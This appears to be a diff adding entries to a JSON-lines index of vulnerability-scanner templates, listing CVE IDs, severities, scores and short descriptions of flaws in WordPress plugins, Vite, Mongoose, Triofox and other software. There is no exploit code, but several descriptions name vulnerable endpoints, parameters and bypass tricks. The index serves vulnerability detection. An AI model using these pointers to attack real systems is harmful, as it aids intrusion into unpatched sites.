 {"ID":"CVE-2021-43725","Info":{"Name":"Spotweb \u003c= 1.5.1 - Cross Site Scripting (Reflected)","Severity":"medium","Description":"There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-43725.yaml"}
 {"ID":"CVE-2021-43734","Info":{"Name":"kkFileview v4.0.0 - Local File Inclusion","Severity":"high","Description":"kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43734.yaml"}
+{"ID":"CVE-2021-4374","Info":{"Name":"WordPress Automatic Plugin - Unauthenticated Options Change","Severity":"critical","Description":"WordPress Automatic Plugin (versions 3.53.2 and below) contains a critical vulnerability that allows unauthenticated users to change arbitrary WordPress options through the process_form.php script. The vulnerable script uses update_option() on all POST parameters without authentication or capability checks, allowing attackers to create administrator accounts or modify critical settings. The vulnerability can be exploited even if the plugin is deactivated as it's a standalone script.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4374.yaml"}
 {"ID":"CVE-2021-43778","Info":{"Name":"GLPI plugin Barcode \u003c 2.6.1 - Path Traversal Vulnerability.","Severity":"high","Description":"Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43778.yaml"}
 {"ID":"CVE-2021-43798","Info":{"Name":"Grafana v8.x - Arbitrary File Read","Severity":"high","Description":"Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `\u003cgrafana_host_url\u003e/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43798.yaml"}
 {"ID":"CVE-2021-4380","Info":{"Name":"Pinterest Automatic \u003c 4.14.4 - Unauthenticated Arbitrary Options Update","Severity":"critical","Description":"The Pinterest Automatic plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on the 'wp_pinterest_automatic_parse_request' function and the 'process_form.php' script in versions up to, and including, 1.14.3. This makes it possible for unauthenticated attackers to update arbitrary options on a site that can be used to create new administrative user accounts or redirect unsuspecting site visitors.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4380.yaml"}
@@ -2553,6 +2554,7 @@
 {"ID":"CVE-2023-39109","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_a parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39109.yaml"}
 {"ID":"CVE-2023-39110","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39110.yaml"}
 {"ID":"CVE-2023-39120","Info":{"Name":"Nodogsplash - Directory Traversal","Severity":"high","Description":"Nodogsplash product was affected by a directory traversal vulnerability that also impacted the OpenWrt product. This vulnerability was addressed in Nodogsplash version 5.0.1. Exploiting this vulnerability, remote attackers could read arbitrary files from the target system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39120.yaml"}
+{"ID":"CVE-2023-39121","Info":{"Name":"Emlog 2.1.9 - SQL Injection","Severity":"high","Description":"emlog v2.1.9 contains a SQL injection caused by unsanitized input in the data backup/restore functionality, allowing attackers to execute arbitrary SQL commands through crafted backup files.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2023/CVE-2023-39121.yaml"}
 {"ID":"CVE-2023-39141","Info":{"Name":"Aria2 WebUI - Path traversal","Severity":"high","Description":"webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39141.yaml"}
 {"ID":"CVE-2023-39143","Info":{"Name":"PaperCut \u003c 22.1.3 - Path Traversal","Severity":"critical","Description":"PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-39143.yaml"}
 {"ID":"CVE-2023-3936","Info":{"Name":"Blog2Social \u003c 7.2.1 - Cross-Site Scripting","Severity":"medium","Description":"The Blog2Social WordPress plugin before 7.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-3936.yaml"}
@@ -2984,6 +2986,7 @@
 {"ID":"CVE-2024-37393","Info":{"Name":"SecurEnvoy Two Factor Authentication - LDAP Injection","Severity":"critical","Description":"Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37393.yaml"}
 {"ID":"CVE-2024-3742","Info":{"Name":"Electrolink FM/DAB/TV Transmitter (controlloLogin.js) - Credentials Disclosure","Severity":"high","Description":"Electrolink transmitters store credentials in clear-text. Use of these credentials could allow an attacker to access the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-3742.yaml"}
 {"ID":"CVE-2024-3753","Info":{"Name":"Hostel \u003c 1.1.5.3 - Cross-Site Scripting","Severity":"medium","Description":"The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2024/CVE-2024-3753.yaml"}
+{"ID":"CVE-2024-37656","Info":{"Name":"GnuBoard5 5.5.16 - Open Redirect","Severity":"medium","Description":"Gnuboard5 5.5.16 contains an open redirect vulnerability caused by insufficient URL parameter verification in bbs/logout.php, letting remote attackers redirect users to arbitrary URLs, exploit requires crafted URL parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-37656.yaml"}
 {"ID":"CVE-2024-37728","Info":{"Name":"OfficeWeb365 Indexs Interface - Arbitrary File Read","Severity":"high","Description":"There is any file reading in the officeWeb365 Indexs interface.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-37728.yaml"}
 {"ID":"CVE-2024-37843","Info":{"Name":"Craft CMS \u003c=v3.7.31 - SQL Injection","Severity":"critical","Description":"Craft CMS up to v3.7.31 was discovered to contain a SQL injection vulnerability via the GraphQL API endpoint.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-37843.yaml"}
 {"ID":"CVE-2024-37881","Info":{"Name":"SiteGuard WP Plugin \u003c= 1.7.6 - Login Page Disclosure","Severity":"medium","Description":"The SiteGuard WP Plugin plugin for WordPress is vulnerable to protection mechanism bypass in all versions up to, and including, 1.7.6. This is due to the plugin not restricting redirects from wp-register.php which may disclose the login page URL. This makes it possible for unauthenticated attackers to gain access to the login page.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37881.yaml"}
@@ -3085,6 +3088,7 @@
 {"ID":"CVE-2024-50623","Info":{"Name":"Cleo Harmony \u003c 5.8.0.21 - Arbitary File Read","Severity":"high","Description":"In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-50623.yaml"}
 {"ID":"CVE-2024-5082","Info":{"Name":"Nexus Repository 2 - Remote Code Execution","Severity":"high","Description":"A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5082.yaml"}
 {"ID":"CVE-2024-5084","Info":{"Name":"Hash Form \u003c= 1.1.0 - Arbitrary File Upload","Severity":"critical","Description":"The Hash Form Drag \u0026 Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5084.yaml"}
+{"ID":"CVE-2024-50857","Info":{"Name":"GestioIP - Reflected Cross-Site Scripting","Severity":"medium","Description":"GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2024/CVE-2024-50857.yaml"}
 {"ID":"CVE-2024-50967","Info":{"Name":"DATAGERRY - Improper Access Control","Severity":"high","Description":"The /rest/rights/ REST API endpoint in Becon DATAGerry through 2.2.0 contains an Incorrect Access Control vulnerability. An attacker can remotely access this endpoint without authentication, leading to unauthorized disclosure of sensitive information.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-50967.yaml"}
 {"ID":"CVE-2024-51211","Info":{"Name":"openSIS Classic v9.1 - SQL Injection","Severity":"critical","Description":"SQL injection vulnerability exists in OS4ED openSIS-Classic Version 9.1, specifically in the resetuserinfo.php file. The vulnerability is due to improper input validation of the $username_stn_id parameter, which can be manipulated by an attacker to inject arbitrary SQL commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51211.yaml"}
 {"ID":"CVE-2024-51228","Info":{"Name":"TOTOLINK CX-A3002RU - Remote Code Execution","Severity":"medium","Description":"An issue in TOTOLINK-CX-A3002RU V1.0.4-B20171106.1512 and TOTOLINK-CX-N150RT V2.1.6-B20171121.1002 and TOTOLINK-CX-N300RT V2.1.6-B20170724.1420 and TOTOLINK-CX-N300RT V2.1.8-B20171113.1408 and TOTOLINK-CX-N300RT V2.1.8-B20191010.1107 and TOTOLINK-CX-N302RE V2.0.2-B20170511.1523 allows a remote attacker to execute arbitrary code via the /boafrm/formSysCmd component.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2024/CVE-2024-51228.yaml"}
@@ -3106,6 +3110,7 @@
 {"ID":"CVE-2024-5315","Info":{"Name":"Dolibarr ERP CMS `list.php` - SQL Injection","Severity":"critical","Description":"Vulnerabilities in Dolibarr ERP - CRM that affect version 9.0.1 and allow SQL injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-5315.yaml"}
 {"ID":"CVE-2024-5334","Info":{"Name":"Devika - Local File Inclusion","Severity":"high","Description":"A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-5334.yaml"}
 {"ID":"CVE-2024-53704","Info":{"Name":"SSL VPN Session Hijacking","Severity":"critical","Description":"An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-53704.yaml"}
+{"ID":"CVE-2024-53900","Info":{"Name":"Mongoose \u003c 8.8.3 - Remote Code Execution","Severity":"critical","Description":"Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-53900.yaml"}
 {"ID":"CVE-2024-53991","Info":{"Name":"Discourse Backup File Disclosure Via Default Nginx Configuration","Severity":"high","Description":"Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-53991.yaml"}
 {"ID":"CVE-2024-5420","Info":{"Name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - Cross-Site Scripting","Severity":"high","Description":"A vulnerability was found in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, affecting the device description parameter in the web interface. This flaw allows stored cross-site scripting (XSS), enabling attackers to inject JavaScript code. The attack can be executed remotely by tricking victims into visiting a malicious website, potentially leading to session hijacking. This vulnerability is publicly disclosed and identified as CVE-2024-5420.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"http/cves/2024/CVE-2024-5420.yaml"}
 {"ID":"CVE-2024-5421","Info":{"Name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure","Severity":"high","Description":"A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.\n","Classification":{"CVSSScore":"8.7"}},"file_path":"http/cves/2024/CVE-2024-5421.yaml"}
@@ -3205,6 +3210,7 @@
 {"ID":"CVE-2024-8673","Info":{"Name":"Z-Downloads \u003c 1.11.7 - Cross-Site Scripting","Severity":"low","Description":"The plugin does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript.\n","Classification":{"CVSSScore":"3.5"}},"file_path":"http/cves/2024/CVE-2024-8673.yaml"}
 {"ID":"CVE-2024-8698","Info":{"Name":"Keycloak - SAML Core Package Signature Validation Flaw","Severity":"high","Description":"A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.\n","Classification":{"CVSSScore":"7.7"}},"file_path":"http/cves/2024/CVE-2024-8698.yaml"}
 {"ID":"CVE-2024-8752","Info":{"Name":"WebIQ 2.15.9 - Directory Traversal","Severity":"high","Description":"The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-8752.yaml"}
+{"ID":"CVE-2024-8852","Info":{"Name":"All-in-One WP Migration \u003c 7.87 - Unauthenticated Information Disclosure","Severity":"medium","Description":"The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to unauthenticated information disclosure due to its error.log file being publicly accessible in versions before 7.87.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-8852.yaml"}
 {"ID":"CVE-2024-8856","Info":{"Name":"WP Time Capsule Plugin - Remote Code Execution","Severity":"critical","Description":"The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8856.yaml"}
 {"ID":"CVE-2024-8859","Info":{"Name":"Mlflow \u003c 2.17.0 - Local File Inclusion","Severity":"critical","Description":"Mlflow before 2.17.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-8859.yaml"}
 {"ID":"CVE-2024-8877","Info":{"Name":"Riello Netman 204 - SQL Injection","Severity":"critical","Description":"The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8877.yaml"}
@@ -3243,7 +3249,9 @@
 {"ID":"CVE-2025-1097","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1097.yaml"}
 {"ID":"CVE-2025-1098","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1098.yaml"}
 {"ID":"CVE-2025-11371","Info":{"Name":"Gladinet CentreStack \u0026 TrioFox - Local File Inclusion","Severity":"medium","Description":"In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this vulnerability has been observed in the wild.  This issue impacts Gladinet CentreStack and Triofox: All versions prior to and including 16.7.10368.56560\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2025/CVE-2025-11371.yaml"}
+{"ID":"CVE-2025-11749","Info":{"Name":"WordPress AI Engine Plugin - Token Exposure","Severity":"critical","Description":"Unauthenticated sensitive information exposure in AI Engine WordPress plugin \u003c= 3.1.3 exposes bearer tokens via REST API endpoints when No-Auth URL is enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11749.yaml"}
 {"ID":"CVE-2025-11750","Info":{"Name":"Dify - User Enumeration via \"Account not found\" Message","Severity":"medium","Description":"A user enumeration vulnerability exists in langgenius/dify, where the login API leaks information about whether a user account exists or not. When an invalid/non-existent email is used during login, the API returns a distinct error message such as \"account_not_found\" or \"Account not found.\", allowing attackers to identify valid accounts.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-11750.yaml"}
+{"ID":"CVE-2025-12480","Info":{"Name":"Triofox - Improper Access Control","Severity":"critical","Description":"The Gladinet Triofox solution before 12.91.1126.65588 and CentreStack before 12.10.595.65696 allow unauthenticated access to the /management/admindatabase.aspx endpoint, exposing sensitive database management functionality to anyone with network access. An unauthenticated attacker can remotely access, view, and potentially interact with the database management interface, risking data disclosure or system compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-12480.yaml"}
 {"ID":"CVE-2025-1302","Info":{"Name":"JSONPath Plus \u003c 10.3.0 - Remote Code Execution","Severity":"critical","Description":"Versions of the package jsonpath-plus before 10.3.0 are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode. **Note:** This is caused by an incomplete fix for [CVE-2024-21534]\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1302.yaml"}
 {"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
 {"ID":"CVE-2025-1562","Info":{"Name":"Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit - Broken Access Control","Severity":"critical","Description":"The Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_or_activate_addon_plugins() function and a weak nonce hash in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to install arbitrary plugins on the site that can be leveraged to further infect a vulnerable site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1562.yaml"}
@@ -3319,6 +3327,7 @@
 {"ID":"CVE-2025-31131","Info":{"Name":"Yeswiki \u003c 4.5.2 - Unauthenticated Path Traversal","Severity":"high","Description":"YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-31131.yaml"}
 {"ID":"CVE-2025-31161","Info":{"Name":"CrushFTP - Authentication Bypass","Severity":"critical","Description":"CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-31161.yaml"}
 {"ID":"CVE-2025-31324","Info":{"Name":"SAP NetWeaver Visual Composer Metadata Uploader - Deserialization","Severity":"critical","Description":"SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-31324.yaml"}
+{"ID":"CVE-2025-31486","Info":{"Name":"Vite server.fs.deny Bypass - Local File Inclusion","Severity":"medium","Description":"Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-31486.yaml"}
 {"ID":"CVE-2025-31489","Info":{"Name":"MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads","Severity":"high","Description":"MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access\nto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-31489.yaml"}
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
 {"ID":"CVE-2025-32429","Info":{"Name":"XWiki Platform - SQL Injection","Severity":"critical","Description":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 9.4-rc-1 through 16.10.5 and 17.0.0-rc-1 through 17.2.2, it's possible for anyone to inject SQL using the parameter sort of the getdeleteddocuments.vm. It's injected as is as an ORDER BY value.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32429.yaml"}
@@ -3359,11 +3368,14 @@
 {"ID":"CVE-2025-41243","Info":{"Name":"Spring Cloud Gateway Server Webflux - Broken Access Control","Severity":"critical","Description":"Spring Cloud Gateway Server Webflux contains a vulnerability caused by unsecured and exposed actuator endpoints allowing modification of Spring Environment properties, letting attackers modify configuration, exploit requires unsecured actuator endpoints exposure.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-41243.yaml"}
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
+{"ID":"CVE-2025-4302","Info":{"Name":"Stop User Enumeration WordPress plugin - Authentication Bypass","Severity":"medium","Description":"Stop User Enumeration WordPress plugin \u003c 1.7.3 contains an authentication bypass caused by URL-encoding the REST API path /wp-json/wp/v2/users/, letting attackers bypass user enumeration restrictions, exploit requires crafted URL encoding.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4302.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
 {"ID":"CVE-2025-4334","Info":{"Name":"Simple User Registration \u003c= 6.3 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4334.yaml"}
 {"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
